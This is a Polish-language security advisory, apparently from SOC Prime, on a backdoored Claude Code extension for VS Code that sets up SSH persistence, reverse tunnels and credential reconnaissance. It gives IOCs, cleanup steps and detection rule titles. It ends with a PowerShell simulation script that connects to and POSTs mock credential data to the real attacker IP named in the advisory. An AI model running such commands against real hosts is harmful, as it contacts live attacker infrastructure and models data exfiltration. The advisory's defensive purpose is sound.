SOC Prime Bias: Critical

03 Nov 2026 14:10 UTC

Zagrożenie z rozszerzeniem Claude Code: Poradnik bezpieczeństwa

Author Photo
SOC Prime Team linkedin icon Śledź
Zagrożenie z rozszerzeniem Claude Code: Poradnik bezpieczeństwa
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Podsumowanie

Na Cursor Marketplace zidentyfikowano wersję 2.1.313 oficjalnego rozszerzenia Claude Code dla VS Code z backdoorem. Złośliwe oprogramowanie ustanawia trwały backdoor SSH na macOS, Linuxie i Windows poprzez modyfikację authorized_keys i tworzenie odwróconych tuneli SSH. Dodatkowo przeprowadza rozpoznanie hosta w celu odkrycia wrażliwych zmiennych środowiskowych i potencjalnie ujawnionych poświadczeń.

Śledztwo

Phorion zidentyfikował wstrzyknięte wyrażenie IIFE wewnątrz zminifikowanej paczki rozszerzenia, które uruchamia się natychmiast po załadowaniu rozszerzenia. Śledztwo wykazało, że złośliwe oprogramowanie próbuje włączyć usługi SSH i używa określonych kluczy Ed25519 do uwierzytelniania ofiar i ustanawiania odwróconych tuneli. Badacze zidentyfikowali także błędy implementacji w logice macOS i Windows, które mogą ograniczać zdolność do włączania usług bez istniejących uprawnień.

Mitigacja

Organizacje powinny natychmiast zidentyfikować i usunąć wersję 2.1.313 rozszerzenia Claude Code dla VS Code. Na macOS użytkownicy powinni wyładować i usunąć com.apple.sysmond.plist LaunchAgent. Zespoły bezpieczeństwa powinny również sprawdzić konfiguracje SSH i usunąć svc-telemetry klucz publiczny z dotkniętych authorized_keys plików.

Reakcja

Po wykryciu kompromisu zakończ aktywne procesy tunelu, w tym pętle ponownych prób shell oraz ssh or procesy autossh łączące się z 134.209.82.225 134.209.82.225. Usuń artefakty z uprawnieniami, w tym wpisy cron, zaplanowane zadania i ukryte skrypty przechowywane w .config katalogach. Krytycznie, obróć wszystkie poświadczenia i tokeny API, które zostały ujawnione przez zmienne środowiskowe na dotkniętym hoście.

Przepływ Ataku

Wciąż aktualizujemy tę część.

Wykrycia

Próba komunikacji z domeną przez wyszukanie IP (via dns)

Zespół SOC Prime
02 Lis 2026

Podejrzany skrypt/binarny w lokalizacji autostartu (via file_event)

Zespół SOC Prime
30 Paź 2026

Możliwa komunikacja C2 przez HTTP do bezpośredniego IP z nietypowym portem (via proxy)

Zespół SOC Prime
30 Paź 2026

Utworzono ukryty plik na hoście Linux (via file_event)

Zespół SOC Prime
30 Paź 2026

IOC (HashSha256) do wykrycia: Kompromis oficjalnego rozszerzenia Claude Code: Doradztwo bezpieczeństwa

Zasady AI SOC Prime
30 Paź 2026

IOC (SourceIP) do wykrycia: Kompromis oficjalnego rozszerzenia Claude Code: Doradztwo bezpieczeństwa

Zasady AI SOC Prime
30 Paź 2026

IOC (DestinationIP) do wykrycia: Kompromis oficjalnego rozszerzenia Claude Code: Doradztwo bezpieczeństwa

Zasady AI SOC Prime
30 Paź 2026

Wykryto podejrzaną aktywność SSH do znanego złośliwego adresu IP [Połączenie sieciowe Windows]

Zasady AI SOC Prime
30 Paź 2026

Wykrycie backdoora w rozszerzeniu Claude Code VS Code na macOS [Zdarzenie pliku Linux]

Zasady AI SOC Prime
30 Paź 2026

Wykonanie Symulacji

  • Narracja ataku i polecenia: Przeciwnik, po uzyskaniu początkowego dostępu, stara się ustanowić trwały tunel C2. Inicjują połączenie SSH do 134.209.82.225 na porcie 22 aby utworzyć bezpieczny tunel dla ruchu bocznego. Natychmiast po, złośliwy agent wykonuje żądanie POST HTTP do http://134.209.82.225:8099 zawierające zakodowane informacje o systemie. Ta specyficzna sekwencja „SSH + HTTP POST do tego samego IP” jest zaprojektowana, aby wyzwolić warunek reguły warunek: selection_ssh i selection_http.

  • Skrypt testowy regresji:

    # Skrypt symulacyjny: Wywoływanie podejrzanej aktywności SSH i POST HTTP
    $TargetIP = "134.209.82.225"
    $SSHPort = 22
    $HTTPPort = 8099
    
    Write-Host "[+] Rozpoczęcie symulacji..." -ForegroundColor Cyan
    
    # Krok 1: Symulowanie połączenia SSH (używając Test-NetConnection do wygenerowania Sysmon ID 3)
    Write-Host "[+] Krok 1: Symulowanie wychodzącego połączenia SSH do $TargetIP na porcie $SSHPort"
    Test-NetConnection -ComputerName $TargetIP -Port $SSHPort -ErrorAction SilentlyContinue
    
    # Krok 2: Symulowanie żądania POST HTTP (używając Invoke-WebRequest)
    Write-Host "[+] Krok 2: Symulowanie sygnalizacji POST HTTP do $TargetIP na porcie $HTTPPort"
    try {
        # Używamy krótkiego czasu oczekiwania, aby zapobiec zawieszeniu skryptu, jeśli IP jest nieosiągalne
        $payload = @{ data = "simulated_credential_harvesting_data" }
        Invoke-WebRequest -Uri "http://$($TargetIP):$($HTTPPort)" -Method POST -Body ($payload | ConvertTo-Json) -TimeoutSec 5
    } catch {
        Write-Host "[!] Żądanie HTTP nie powiodło się (oczekiwane, jeśli IP jest offline), ale telemetry powinna zostać wygenerowana." -ForegroundColor Yellow
    }
    
    Write-Host "[+] Polecenia symulacji wykonane." -ForegroundColor Green
  • Polecenia czyszczenia:

    # Podczas tej symulacji nie wprowadzono trwałych zmian w systemie.
    # Nie utworzono żadnych plików i nie zainstalowano żadnych usług.
    Write-Host "[+] Czyszczenie zakończone. Brak artefaktów do usunięcia." -ForegroundColor Green